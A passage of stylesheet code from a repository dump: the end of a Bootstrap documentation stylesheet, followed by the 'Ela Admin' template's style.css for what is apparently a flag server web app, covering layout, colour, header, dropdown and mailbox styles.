20px;opacity:1}.scrollspy-example{position:relative;height:200px;margin-top:.5rem;overflow:auto}.bd-example>.bg-danger:not(.navbar),.bd-example>.bg-faded:not(.navbar),.bd-example>.bg-info:not(.navbar),.bd-example>.bg-inverse:not(.navbar),.bd-example>.bg-primary:not(.navbar),.bd-example>.bg-success:not(.navbar),.bd-example>.bg-warning:not(.navbar){padding:.5rem;margin-top:.5rem;margin-bottom:.5rem}.bd-example-border-utils [class^=border-]{display:inline-block;width:6rem;height:6rem;margin:.25rem;background-color:#f5f5f5;border:1px solid}.highlight{padding:1rem;margin:1rem -15px;background-color:#f7f7f9;-ms-overflow-style:-ms-autohiding-scrollbar}@media (min-width:576px){.highlight{padding:1.5rem;margin-right:0;margin-left:0}}.highlight pre{padding:0;margin-top:0;margin-bottom:0;background-color:transparent;border:0}.highlight pre code{font-size:inherit;color:#292b2c}.table-responsive .highlight pre{white-space:normal}.bd-table th small,.responsive-utilities th small{display:block;font-weight:400;color:#999}.responsive-utilities tbody th{font-weight:400}.responsive-utilities td{text-align:center}.responsive-utilities .is-visible{color:#468847;background-color:#dff0d8!important}.responsive-utilities .is-hidden{color:#ccc;background-color:#f9f9f9!important}.responsive-utilities-test{margin-top:.25rem}.responsive-utilities-test .col-6{margin-top:.5rem;margin-bottom:.5rem}.responsive-utilities-test span{display:block;padding:1rem .5rem;font-size:1rem;font-weight:700;line-height:1.1;text-align:center;border-radius:.25rem}.hidden-on .col-6>.not-visible,.visible-on .col-6>.not-visible{color:#999;border:1px solid #ddd}.hidden-on .col-6 .visible,.visible-on .col-6 .visible{color:#468847;background-color:#dff0d8;border:1px solid #d6e9c6}@media (max-width:575px){.hidden-xs-only{display:none!important}}@media (min-width:576px) and (max-width:767px){.hidden-sm-only{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-md-only{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-lg-only{display:none!important}}@media (min-width:1200px){.hidden-xl-only{display:none!important}}.btn-bs{font-weight:500;color:#7952b3;border-color:#7952b3}.btn-bs:active,.btn-bs:focus,.btn-bs:hover{color:#fff;background-color:#7952b3;border-color:#7952b3}.bd-callout{padding:1.25rem;margin-top:1.25rem;margin-bottom:1.25rem;border:1px solid #eee;border-left-width:.25rem;border-radius:.25rem}.bd-callout h4{margin-top:0;margin-bottom:.25rem}.bd-callout p:last-child{margin-bottom:0}.bd-callout code{border-radius:.25rem}.bd-callout+.bd-callout{margin-top:-.25rem}.bd-callout-info{border-left-color:#5bc0de}.bd-callout-info h4{color:#5bc0de}.bd-callout-warning{border-left-color:#f0ad4e}.bd-callout-warning h4{color:#f0ad4e}.bd-callout-danger{border-left-color:#d9534f}.bd-callout-danger h4{color:#d9534f}.bd-examples .img-thumbnail{margin-bottom:.75rem}.bd-examples h4{margin-bottom:.25rem}.bd-examples p{margin-bottom:1.25rem}@media (max-width:480px){.bd-examples{margin-right:-.75rem;margin-left:-.75rem}.bd-examples>[class^=col-]{padding-right:.75rem;padding-left:.75rem}}.bd-team{margin-bottom:1.5rem}.bd-team .team-member{line-height:2rem;color:#555}.bd-team .team-member:hover{color:#333;text-decoration:none}.bd-team .github-btn{float:right;width:180px;height:1.25rem;margin-top:.25rem;border:0}.bd-team img{float:left;width:2rem;margin-right:.5rem;border-radius:.25rem}.bd-browser-bugs td p{margin-bottom:0}.bd-browser-bugs th:first-child{width:18%}.bd-brand-logos{display:table;width:100%;margin-bottom:1rem;overflow:hidden;color:#563d7c;background-color:#f9f9f9;border-radius:.25rem}.bd-brand-item{padding:4rem 0;text-align:center}.bd-brand-item+.bd-brand-item{border-top:1px solid #fff}.bd-brand-logos .inverse{color:#fff;background-color:#563d7c}.bd-brand-item h1,.bd-brand-item h3{margin-top:0;margin-bottom:0}.bd-brand-item .bd-booticon{margin-right:auto;margin-left:auto}@media (min-width:768px){.bd-brand-item{display:table-cell;width:1%}.bd-brand-item+.bd-brand-item{border-top:0;border-left:1px solid #fff}.bd-brand-item h1{font-size:4rem}}.color-swatches{margin:0 -5px;overflow:hidden}.color-swatch{float:left;width:4rem;height:4rem;margin-right:.25rem;margin-left:.25rem;border-radius:.25rem}@media (min-width:768px){.color-swatch{width:6rem;height:6rem}}.color-swatches .bd-purple{background-color:#563d7c}.color-swatches .bd-purple-light{background-color:#cdbfe3}.color-swatches .bd-purple-lighter{background-color:#e5e1ea}.color-swatches .bd-gray{background-color:#f9f9f9}.bd-clipboard{position:relative;display:none;float:right}.bd-clipboard+.highlight{margin-top:0}.btn-clipboard{position:absolute;top:.5rem;right:.5rem;z-index:10;display:block;padding:.25rem .5rem;font-size:75%;color:#818a91;cursor:pointer;background-color:transparent;border-radius:.25rem}.btn-clipboard:hover{color:#fff;background-color:#027de7}@media (min-width:768px){.bd-clipboard{display:block}}.hll{background-color:#ffc}.c{color:#999}.k{color:#069}.o{color:#555}.cm{color:#999}.cp{color:#099}.c1{color:#999}.cs{color:#999}.gd{background-color:#fcc;border:1px solid #c00}.ge{font-style:italic}.gr{color:red}.gh{color:#030}.gi{background-color:#cfc;border:1px solid #0c0}.go{color:#aaa}.gp{color:#009}.gu{color:#030}.gt{color:#9c6}.kc{color:#069}.kd{color:#069}.kn{color:#069}.kp{color:#069}.kr{color:#069}.kt{color:#078}.m{color:#f60}.s{color:#d44950}.na{color:#4f9fcf}.nb{color:#366}.nc{color:#0a8}.no{color:#360}.nd{color:#99f}.ni{color:#999}.ne{color:#c00}.nf{color:#c0f}.nl{color:#99f}.nn{color:#0cf}.nt{color:#2f6f9f}.nv{color:#033}.ow{color:#000}.w{color:#bbb}.mf{color:#f60}.mh{color:#f60}.mi{color:#f60}.mo{color:#f60}.sb{color:#c30}.sc{color:#c30}.sd{font-style:italic;color:#c30}.s2{color:#c30}.se{color:#c30}.sh{color:#c30}.si{color:#a00}.sx{color:#c30}.sr{color:#3aa}.s1{color:#c30}.ss{color:#fc3}.bp{color:#366}.vc{color:#033}.vg{color:#033}.vi{color:#033}.il{color:#f60}.css .nt+.nt,.css .o,.css .o+.nt{color:#999}.language-bash::before{color:#009;content:"$ ";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.language-powershell::before{color:#009;content:"PM> ";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.anchorjs-link{color:inherit}@media (max-width:480px){.anchorjs-link{display:none}}:hover>.anchorjs-link{opacity:.75;-webkit-transition:color .16s linear;-o-transition:color .16s linear;transition:color .16s linear}.anchorjs-link:focus,:hover>.anchorjs-link:hover{text-decoration:none;opacity:1} ================================================ FILE: flag_server/webapps/static/css/style.css ================================================ @import url(../icons/font-awesome/css/font-awesome.min.css); @import url(../icons/simple-line-icons/css/simple-line-icons.css); @import url(../icons/weather-icons/css/weather-icons.min.css); @import url(../icons/linea-icons/linea.css); @import url(../icons/themify-icons/themify-icons.css); @import url(../icons/flag-icon-css/flag-icon.min.css); @import url(../icons/material-design-iconic-font/css/materialdesignicons.min.css); @import url(spinners.css); @import url(animate.css); /* Template: Ela Admin Author: Zebra Theme Developer by: Zebra Theme Table of Content ================ 1. variable 2. fonts 3. card 4. global 5. badge 6. tab 7. modal 8. timeline 9. data-table 10. panel 11. button 12. header 13. gmap 14. chat 15. carousel 16. weather 17. invoice-edit 18. invoice 19. widget-stat 20. recent-comments 21. recent-message 22. forms 23. compose-email 24. progress-bar 25. todo-list 26. datamap 27. table 28. order-progress 29. login 30. chart 31. nestable 32. profile 33. profile-widget 34. ui-element-basic 35. calendar 36. flot-chart 37. morris-chart 38. products_1 39. products_2 40. products_3 41. favourite_menu 42. order-list 43. booking-system 44. scrollable 45. vector-map 46. menu-upload 47. social-media-stats 48. vertical-carousel 49. chartist 50. table-export 51. ui-widget-v1 42. responsive */ .preloader { width: 100%; height: 100%; top: 0; position: fixed; z-index: 99999; background: #fff; } .preloader .cssload-speeding-wheel { position: absolute; top: calc(46.5%); left: calc(46.5%); } * { outline: none; } body { background: #fff; font-family: 'Open Sans', sans-serif; margin: 0; overflow-x: hidden; color: #67757c; } html { position: relative; min-height: 100%; background: #ffffff; } a:focus, a:hover { text-decoration: none; } a.link { color: #455a64; } a.link:focus, a.link:hover { color: #1976d2; } .img-responsive, .carousel.vertical .carousel-inner > .item > img, .carousel.vertical .carousel-inner > .item > a > img { width: 100%; height: auto; display: inline-block; } .img-rounded { border-radius: 4px; } .mdi-set, .mdi:before { line-height: initial; } h1, h2, h3, h4, h5, h6 { color: #455a64; font-weight: 400; } h1 { line-height: 40px; font-size: 36px; } h2 { line-height: 36px; font-size: 24px; } h3 { line-height: 30px; font-size: 21px; } h4 { line-height: 22px; font-size: 18px; } h5 { line-height: 18px; font-size: 16px; font-weight: 400; } h6 { line-height: 16px; font-size: 14px; font-weight: 400; } .display-5 { font-size: 3rem; } .display-6 { font-size: 36px; } .box { border-radius: 4px; padding: 10px; } .preloader { width: 100%; height: 100%; top: 0; position: fixed; z-index: 99999; background: #fff; } .preloader .cssload-speeding-wheel { position: absolute; top: calc(46.5%); left: calc(46.5%); } #main-wrapper { width: 100%; } .bg-white .card { box-shadow: none; } .box-shadow { box-shadow: 0 5px 20px rgba(0, 0, 0, 0.05) !important; } .dropzone { border: 1px dashed #b1b8bb; } .boxed #main-wrapper { width: 100%; max-width: 1300px; margin: 0 auto; -webkit-box-shadow: 0 0 60px rgba(0, 0, 0, 0.1); box-shadow: 0 0 60px rgba(0, 0, 0, 0.1); } .boxed #main-wrapper .sidebar-footer { position: absolute; } .boxed #main-wrapper .footer { display: none; } .page-wrapper { background: #fafafa; padding-bottom: 60px; } .container-fluid { padding: 0 30px 25px; } @media (min-width: 1024px) { .page-wrapper { margin-left: 240px; } .footer { left: 240px; } } @media (max-width: 1023px) { .page-wrapper { margin-left: 60px; -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .footer { left: 60px; } .widget-app-columns { -webkit-column-count: 1; -moz-column-count: 1; column-count: 1; } } .thumb-sm { height: 32px; width: 32px; } .thumb-md { height: 48px; width: 48px; } .thumb-lg { height: 88px; width: 88px; } .hide { display: none; } .img-circle { border-radius: 100%; } .radius { border-radius: 4px; } .text-white { color: #ffffff !important; } .text-danger { color: #ef5350 !important; } .text-muted { color: #99abb4 !important; } .text-warning { color: #ffb22b !important; } .text-success { color: #26dad2 !important; } .text-info { color: #1976d2 !important; } .text-inverse { color: #2f3d4a !important; } .text-blue { color: #02bec9; } .text-purple { color: #7460ee; } .text-primary { color: #5c4ac7; } .text-megna { color: #00897b; } .text-dark { color: #67757c; } .text-themecolor { color: #1976d2; } .bg-primary { background-color: #5c4ac7 !important; } .bg-success { background-color: #26dad2 !important; } .bg-info { background-color: #1976d2 !important; } .bg-warning { background-color: #ffb22b !important; } .bg-danger { background-color: #ef5350 !important; } .bg-megna { background-color: #00897b; } .bg-theme { background-color: #1976d2; } .bg-inverse { background-color: #2f3d4a; } .bg-purple { background-color: #7460ee; } .bg-light-part { background-color: rgba(0, 0, 0, 0.02); } .bg-light-primary { background-color: #f1effd; } .bg-light-success { background-color: #e8fdeb; } .bg-light-info { background-color: #cfecfe; } .bg-light-extra { background-color: #ebf3f5; } .bg-light-warning { background-color: #fff8ec; } .bg-light-danger { background-color: #f9e7eb; } .bg-light-inverse { background-color: #f6f6f6; } .bg-light { background-color: #f2f4f8; } .bg-white { background-color: #ffffff; } @media (min-width: 1600px) { .col-xlg-1, .col-xlg-10, .col-xlg-11, .col-xlg-12, .col-xlg-2, .col-xlg-3, .col-xlg-4, .col-xlg-5, .col-xlg-6, .col-xlg-7, .col-xlg-8, .col-xlg-9 { float: left; } .col-xlg-12 { -webkit-box-flex: 0; -webkit-flex: 0 0 100%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .col-xlg-11 { -webkit-box-flex: 0; -webkit-flex: 0 0 91.66666667%; -ms-flex: 0 0 91.66666667%; flex: 0 0 91.66666667%; max-width: 91.66666667%; } .col-xlg-10 { -webkit-box-flex: 0; -webkit-flex: 0 0 83.33333333%; -ms-flex: 0 0 83.33333333%; flex: 0 0 83.33333333%; max-width: 83.33333333%; } .col-xlg-9 { -webkit-box-flex: 0; -webkit-flex: 0 0 75%; -ms-flex: 0 0 75%; flex: 0 0 75%; max-width: 75%; } .col-xlg-8 { -webkit-box-flex: 0; -webkit-flex: 0 0 66.66666667%; -ms-flex: 0 0 66.66666667%; flex: 0 0 66.66666667%; max-width: 66.66666667%; } .col-xlg-7 { -webkit-box-flex: 0; -webkit-flex: 0 0 58.33333333%; -ms-flex: 0 0 58.33333333%; flex: 0 0 58.33333333%; max-width: 58.33333333%; } .col-xlg-6 { -webkit-box-flex: 0; -webkit-flex: 0 0 50%; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .col-xlg-5 { -webkit-box-flex: 0; -webkit-flex: 0 0 41.66666667%; -ms-flex: 0 0 41.66666667%; flex: 0 0 41.66666667%; max-width: 41.66666667%; } .col-xlg-4 { -webkit-box-flex: 0; -webkit-flex: 0 0 33.33333333%; -ms-flex: 0 0 33.33333333%; flex: 0 0 33.33333333%; max-width: 33.33333333%; } .col-xlg-3 { -webkit-box-flex: 0; -webkit-flex: 0 0 25%; -ms-flex: 0 0 25%; flex: 0 0 25%; max-width: 25%; } .col-xlg-2 { -webkit-box-flex: 0; -webkit-flex: 0 0 16.66666667%; -ms-flex: 0 0 16.66666667%; flex: 0 0 16.66666667%; max-width: 16.66666667%; } .col-xlg-1 { -webkit-box-flex: 0; -webkit-flex: 0 0 8.33333333%; -ms-flex: 0 0 8.33333333%; flex: 0 0 8.33333333%; max-width: 8.33333333%; } .col-xlg-pull-12 { right: 100%; } .col-xlg-pull-11 { right: 91.66666667%; } .col-xlg-pull-10 { right: 83.33333333%; } .col-xlg-pull-9 { right: 75%; } .col-xlg-pull-8 { right: 66.66666667%; } .col-xlg-pull-7 { right: 58.33333333%; } .col-xlg-pull-6 { right: 50%; } .col-xlg-pull-5 { right: 41.66666667%; } .col-xlg-pull-4 { right: 33.33333333%; } .col-xlg-pull-3 { right: 25%; } .col-xlg-pull-2 { right: 16.66666667%; } .col-xlg-pull-1 { right: 8.33333333%; } .col-xlg-pull-0 { right: auto; } .col-xlg-push-12 { left: 100%; } .col-xlg-push-11 { left: 91.66666667%; } .col-xlg-push-10 { left: 83.33333333%; } .col-xlg-push-9 { left: 75%; } .col-xlg-push-8 { left: 66.66666667%; } .col-xlg-push-7 { left: 58.33333333%; } .col-xlg-push-6 { left: 50%; } .col-xlg-push-5 { left: 41.66666667%; } .col-xlg-push-4 { left: 33.33333333%; } .col-xlg-push-3 { left: 25%; } .col-xlg-push-2 { left: 16.66666667%; } .col-xlg-push-1 { left: 8.33333333%; } .col-xlg-push-0 { left: auto; } .offset-xlg-12 { margin-left: 100%; } .offset-xlg-11 { margin-left: 91.66666667%; } .offset-xlg-10 { margin-left: 83.33333333%; } .offset-xlg-9 { margin-left: 75%; } .offset-xlg-8 { margin-left: 66.66666667%; } .offset-xlg-7 { margin-left: 58.33333333%; } .offset-xlg-6 { margin-left: 50%; } .offset-xlg-5 { margin-left: 41.66666667%; } .offset-xlg-4 { margin-left: 33.33333333%; } .offset-xlg-3 { margin-left: 25%; } .offset-xlg-2 { margin-left: 16.66666667%; } .offset-xlg-1 { margin-left: 8.33333333%; } .offset-xlg-0 { margin-left: 0; } } .col-xlg-1, .col-xlg-10, .col-xlg-11, .col-xlg-12, .col-xlg-2, .col-xlg-3, .col-xlg-4, .col-xlg-5, .col-xlg-6, .col-xlg-7, .col-xlg-8, .col-xlg-9 { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } .input-group-addon [type=checkbox]:checked, .input-group-addon [type=checkbox]:not(:checked), .input-group-addon [type=radio]:checked, .input-group-addon [type=radio]:not(:checked) { position: initial; opacity: 1; } .invisible { visibility: hidden !important; } .hidden-xs-up { display: none !important; } @media (max-width: 575px) { .hidden-xs-down { display: none !important; } } @media (min-width: 576px) { .hidden-sm-up { display: none !important; } } @media (max-width: 767px) { .hidden-sm-down { display: none !important; } } @media (min-width: 768px) { .hidden-md-up { display: none !important; } } @media (max-width: 991px) { .hidden-md-down { display: none !important; } } @media (min-width: 992px) { .hidden-lg-up { display: none !important; } } @media (max-width: 1199px) { .hidden-lg-down { display: none !important; } } @media (min-width: 1200px) { .hidden-xl-up { display: none !important; } } .hidden-xl-down { display: none !important; } @media (min-width: 1650px) { .widget-app-columns { -webkit-column-count: 3; -moz-column-count: 3; column-count: 3; } .campaign { height: 365px !important; } } @media (max-width: 1370px) { .widget-app-columns { -webkit-column-count: 2; -moz-column-count: 2; column-count: 2; } } a, button { outline: none!important; text-decoration: none!important; color: #99abb4; transition: all 0.2s ease 0s; } a.active, button.active, a:focus, button:focus, a:hover, button:hover { color: #252525; outline: none!important; text-decoration: none!important; } ul { padding: 0; margin: 0; } li { list-style: none; } p { font-family: 'Poppins', sans-serif; color: #99abb4; } .h2, .h3, .h4, .h5, .h6, h1, h2, h3, h4, h5, h6.h1 { color: #455a64; } .dib { display: inline-block; } .rotate-90 { transform: rotate(90deg); } .rotate-180 { transform: rotate(180deg); } #main-content { padding: 0 15px; } .alert h4 { color: #455a64; } .border-none { border: 1px solid transparent; } .footer > p { background: #ffffff; margin: 15px -30px 0; padding: 15px 45px; text-align: left; } .footer > p a { color: #4680ff; } .bar-hidden { overflow-X: hidden; } .color-white { color: #ffffff; } .btn-btn { padding: 15px 25px; border: 0; } .btn-btn:hover { color: #ffffff; } .letter-space { letter-spacing: 1px; } .solid-btn { padding: 15px 42px; } .notify { position: relative; right: -10px; top: -13px; } .notify .heartbit { animation: 1s ease-out 0s normal none infinite running heartbit; border: 5px solid #4680ff; border-radius: 70px; height: 25px; position: absolute; right: -4px; top: -20px; width: 25px; z-index: 10; } .notify .point { background-color: #4680ff; border-radius: 30px; height: 6px; position: absolute; right: 6px; top: -10px; width: 6px; } @-moz-keyframes heartbit { 0% { -moz-transform: scale(0); opacity: 0.0; } 25% { -moz-transform: scale(0.1); opacity: 0.1; } 50% { -moz-transform: scale(0.5); opacity: 0.3; } 75% { -moz-transform: scale(0.8); opacity: 0.5; } to { -moz-transform: scale(1); opacity: 0.0; } } @-webkit-keyframes heartbit { 0% { -webkit-transform: scale(0); opacity: 0.0; } 25% { -webkit-transform: scale(0.1); opacity: 0.1; } 50% { -webkit-transform: scale(0.5); opacity: 0.3; } 75% { -webkit-transform: scale(0.8); opacity: 0.5; } to { -webkit-transform: scale(1); opacity: 0.0; } } /* Color Mixins -------------------*/ .color-primary, .text-primary { color: #4680ff; } .color-success, .text-success { color: #26dad2; } .color-info, .text-info { color: #62d1f3; } .color-danger, .text-danger { color: #fc6180; } .color-warning, .text-warning { color: #ffb64d; } .color-pink, .text-pink { color: #e6a1f2; } .color-dark, .text-dark { color: #444c67; } .color-grey, .text-grey { color: #ddd; } /* Mixins --------------------------*/ .pr { position: relative; } .pa { position: absolute; } /* Background Mixins --------------------------*/ .bg-primary { background: #4680ff !important; color: #ffffff; fill: #4680ff; } .bg-success { background: #26dad2 !important; color: #ffffff; fill: #26dad2; } .bg-info { background: #62d1f3 !important; color: #ffffff; fill: #62d1f3; } .bg-danger { background: #fc6180 !important; color: #ffffff; fill: #fc6180; } .bg-warning { background: #ffb64d !important; color: #ffffff; fill: #ffb64d; } .bg-pink { background: #e6a1f2 !important; color: #ffffff; fill: #e6a1f2; } .bg-dark { background: #444c67 !important; color: #ffffff; fill: #444c67; } .bg-transparent { background: transparent; color: #252525; } .no-select-arrow { -moz-appearance: none !important; -webkit-appearance: none !important; border: 1px solid #e7e7e7; } .bg-ash { background: #f5f5f5; } .bg-white { background: #ffffff; } /* Border Mixins --------------------------*/ .border-primary { border-color: #4680ff; } .border-success { border-color: #26dad2; } .border-info { border-color: #62d1f3; } .border-danger { border-color: #fc6180; } .border-warning { border-color: #ffb64d; } .border-pink { border-color: #e6a1f2; } .border-dark { border-color: #444c67; } .no-border { border: 0px!important; } .border-top { border-top: 1px solid #e7e7e7; } .border-white { border: 1px solid #ffffff; } .border-bottom { border-bottom: 1px solid #e7e7e7; } .border-left { border-left: 1px solid #e7e7e7; } .border-right { border-right: 1px solid #e7e7e7; } .white-bottom { border-bottom: 1px solid #ffffff; } .radius-0 { border-radius: 0; } /* Brand Background -----------------------------*/ .bg-facebook { background: #3b5998; fill: #3b5998; } .bg-twitter { background: #1da1f2; fill: #1da1f2; } .bg-youtube { background: #cd201f; fill: #cd201f; } .bg-google-plus { background: #dd4b39; fill: #dd4b39; } .bg-linkedin { background: #007bb6; } /* width -----------------------------*/ .w10pr { width: 10%; } .w12pr { width: 12%; } .p-28 { padding: 28px; } .p-10 { padding: 10px; } /* Chart Spanrkline -------------------------*/ .jqstooltip { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } /* Bootstrap class ---------------------------*/ @media (min-width: 1500px) { .container { width: 1400px; } } @-webkit-keyframes rotate { 0% { -webkit-transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); } } @-moz-keyframes rotate { 0% { -moz-transform: rotate(0deg); } to { -moz-transform: rotate(360deg); } } @keyframes rotate { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @-moz-keyframes heartbit { 0% { -moz-transform: scale(0); opacity: 0.0; } 25% { -moz-transform: scale(0.1); opacity: 0.1; } 50% { -moz-transform: scale(0.5); opacity: 0.3; } 75% { -moz-transform: scale(0.8); opacity: 0.5; } to { -moz-transform: scale(1); opacity: 0.0; } } @-webkit-keyframes heartbit { 0% { -webkit-transform: scale(0); opacity: 0.0; } 25% { -webkit-transform: scale(0.1); opacity: 0.1; } 50% { -webkit-transform: scale(0.5); opacity: 0.3; } 75% { -webkit-transform: scale(0.8); opacity: 0.5; } to { -webkit-transform: scale(1); opacity: 0.0; } } .header { position: relative; z-index: 50; background: #fff; box-shadow: 1px 0 5px rgba(0, 0, 0, 0.1); } .header .top-navbar { min-height: 50px; padding: 0 15px 0 0; } .header .top-navbar .dropdown-toggle:after { display: none; } .header .top-navbar .navbar-header { line-height: 45px; text-align: center; background: #fff; } .header .top-navbar .navbar-header .navbar-brand { margin-right: 0; padding-bottom: 0; padding-top: 0; } .header .top-navbar .navbar-header .navbar-brand .light-logo { display: none; } .header .top-navbar .navbar-header .navbar-brand b { line-height: 60px; display: inline-block; } .header .top-navbar .navbar-nav > .nav-item > .nav-link { padding-left: 0.75rem; padding-right: 0.75rem; font-size: 15px; line-height: 40px; } .header .top-navbar .navbar-nav > .nav-item.show { background: rgba(0, 0, 0, 0.05); } .header .top-navbar .mailbox { width: 300px; } .header .top-navbar .mailbox ul { padding: 0; } .header .top-navbar .mailbox ul li { list-style: none; } .header .profile-pic { width: 30px; border-radius: 100%; } .header .dropdown-menu { box-shadow: 0 3px 12px rgba(0, 0, 0, 0.05); -webkit-box-shadow: 0 3px 12px rgba(0, 0, 0, 0.05); -moz-box-shadow: 0 3px 12px rgba(0, 0, 0, 0.05); border-color: rgba(120, 130, 140, 0.13); } .header .dropdown-menu .dropdown-item { padding: 7px 1.5rem; } .header ul.dropdown-user { padding: 0; min-width: 175px; } .header ul.dropdown-user li { list-style: none; padding: 0; margin: 0; } .header ul.dropdown-user li .dw-user-box { padding: 10px 15px; } .header ul.dropdown-user li .dw-user-box .u-img { width: 70px; display: inline-block; vertical-align: top; } .header ul.dropdown-user li .dw-user-box .u-img img { width: 100%; border-radius: 5px; } .header ul.dropdown-user li .dw-user-box .u-text { display: inline-block; padding-left: 10px; } .header ul.dropdown-user li .dw-user-box .u-text h4 { margin: 0; font-size: 15px; } .header ul.dropdown-user li .dw-user-box .u-text p { margin-bottom: 2px; font-size: 12px; } .header ul.dropdown-user li .dw-user-box .u-text .btn { color: #ffffff; padding: 5px 10px; display: inline-block; } .header ul.dropdown-user li .dw-user-box .u-text .btn:hover { background: #e6294b; } .header ul.dropdown-user li a { padding: 9px 15px; display: block; color: #67757c; } .header ul.dropdown-user li a:hover { background: #f2f4f8; color: #1976d2; text-decoration: none; } .header ul.dropdown-user li.divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: rgba(120, 130, 140, 0.13); } .search-box .app-search { position: absolute; margin: 0; display: block; z-index: 110; width: 100%; top: -1px; -webkit-box-shadow: 2px 0 10px rgba(0, 0, 0, 0.2); box-shadow: 2px 0 10px rgba(0, 0, 0, 0.2); display: none; left: 0; } .search-box .app-search input { width: 100.5%; padding: 20px 40px 20px 20px; border-radius: 0; font-size: 17px; height: 70px; -webkit-transition: 0.5s ease-in; -o-transition: 0.5s ease-in; transition: 0.5s ease-in; } .search-box .app-search input:focus { border-color: #ffffff; } .search-box .app-search .srh-btn { position: absolute; top: 23px; cursor: pointer; background: #ffffff; width: 15px; height: 15px; right: 20px; font-size: 14px; } .mini-sidebar .top-navbar .navbar-header { width: 60px; text-align: center; } .logo-center .top-navbar .navbar-header { position: absolute; left: 0; right: 0; margin: 0 auto; } .notify { position: relative; top: -22px; right: -9px; } .notify .heartbit { position: absolute; top: -20px; right: -4px; height: 25px; width: 25px; z-index: 10; border: 5px solid #ef5350; border-radius: 70px; -moz-animation: heartbit 1s ease-out; -moz-animation-iteration-count: infinite; -o-animation: heartbit 1s ease-out; -o-animation-iteration-count: infinite; -webkit-animation: heartbit 1s ease-out; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .notify .point { width: 6px; height: 6px; -webkit-border-radius: 30px; -moz-border-radius: 30px; border-radius: 30px; background-color: #ef5350; position: absolute; right: 6px; top: -10px; } .fileupload { overflow: hidden; position: relative; } .fileupload input.upload { cursor: pointer; filter: alpha(opacity=0); font-size: 20px; margin: 0; opacity: 0; padding: 0; position: absolute; right: 0; top: 0; } .mega-dropdown { position: static; width: 100%; } .mega-dropdown .dropdown-menu { width: 100%; padding: 30px; margin-top: 0; } .mega-dropdown ul { padding: 0; } .mega-dropdown ul li { list-style: none; } .mega-dropdown .carousel-item .container { padding: 0; } .mega-dropdown .nav-accordion .card { margin-bottom: 1px; } .mega-dropdown .nav-accordion .card-header { background: #ffffff; } .mega-dropdown .nav-accordion .card-header h5 { margin: 0; } .mega-dropdown .nav-accordion .card-header h5 a { text-decoration: none; color: #67757c; } ul.list-style-none { margin: 0; padding: 0; } ul.list-style-none li { list-style: none; } ul.list-style-none li a { color: #67757c; padding: 8px 0; display: block; text-decoration: none; } ul.list-style-none li a:hover { color: #1976d2; } .dropdown-item { padding: 8px 1rem; color: #67757c; } .custom-select { background: url("../../assets/images/custom-select.png") right 0.75rem center no-repeat; } textarea { resize: none; } .mailbox ul li .drop-title { font-weight: 500; padding: 11px 20px 15px; border-bottom: 1px solid rgba(120, 130, 140, 0.13); } .mailbox ul li .nav-link { border-top: 1px solid rgba(120, 130, 140, 0.13); padding-top: 15px; } .mailbox .message-center { height: 200px; overflow: auto; position: relative; } .mailbox .message-center a { border-bottom: 1px solid rgba(120, 130, 140, 0.13); display: block; text-decoration: none; padding: 9px 15px; } .mailbox .message-center a:hover { background: #f2f4f8; } .mailbox .message-center a div { white-space: normal; } .mailbox .message-center a .user-img { width: 40px; position: relative; display: inline-block; margin: 0 10px 15px 0; } .mailbox .message-center a .user-img img { width: 100%; } .mailbox .message-center a .user-img .profile-status { border: 2px solid #ffffff; border-radius: 50%; display: inline-block; height: 10px; left: 30px; position: absolute; top: 1px; width: 10px; } .mailbox .message-center a .user-img .online { background: #26dad2; } .mailbox .message-center a .user-img .busy { background: #ef5350; } .mailbox .message-center a .user-img .away { background: #ffb22b; } .mailbox .message-center a .user-img .offline { background: #ffb22b; } .mailbox .message-center a .mail-contnet { display: inline-block; width: 75%; vertical-align: middle; } .mailbox .message-center a .mail-contnet h5 { margin: 5px 0 0; } .mailbox .message-center a .mail-contnet .mail-desc { font-size: 12px; display: block; margin: 1px 0; -o-text-overflow: ellipsis; text-overflow: ellipsis; overflow: hidden; color: #67757c; white-space: nowrap; } .mailbox .message-center a .mail-contnet .time { font-size: 12px; display: block; margin: 1px 0; -o-text-overflow: ellipsis; text-overflow: ellipsis; overflow: hidden; color: #67757c; white-space: nowrap; } @media (min-width: 768px) { .navbar-header { width: 240px; -webkit-flex-shrink: 0; -ms-flex-negative: 0; flex-shrink: 0; } .navbar-header .navbar-brand { padding-top: 0; } .page-titles .breadcrumb { float: right; } .card-group .card:first-child { border-right: 1px solid rgba(0, 0, 0, 0.03); } .card-group .card:not(:first-child):not(:last-child) { border-right: 1px solid rgba(0, 0, 0, 0.03); } .material-icon-list-demo .icons div { width: 33%; padding: 15px; display: inline-block; line-height: 40px; } .mini-sidebar .page-wrapper { margin-left: 60px; } .mini-sidebar .footer { left: 60px; } .flex-wrap { -ms-flex-wrap: nowrap !important; flex-wrap: nowrap !important; -webkit-flex-wrap: nowrap !important; } } @media (max-width: 767px) { .header { position: fixed; width: 100%; } .header .top-navbar { padding-right: 15px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -webkit-flex-direction: row; -ms-flex-direction: row; flex-direction: row; -webkit-flex-wrap: nowrap; -ms-flex-wrap: nowrap; flex-wrap: nowrap; -webkit-align-items: center; } .header .top-navbar .navbar-collapse { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 100%; } .header .top-navbar .navbar-nav { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -webkit-flex-direction: row; -ms-flex-direction: row; flex-direction: row; } .header .top-navbar .navbar-nav > .nav-item.show { position: static; } .header .top-navbar .navbar-nav > .nav-item.show .dropdown-menu { width: 100%; margin-top: 0; } .header .top-navbar .navbar-nav > .nav-item > .nav-link { padding-left: 0.50rem; padding-right: 0.50rem; } .header .top-navbar .navbar-nav .dropdown-menu { 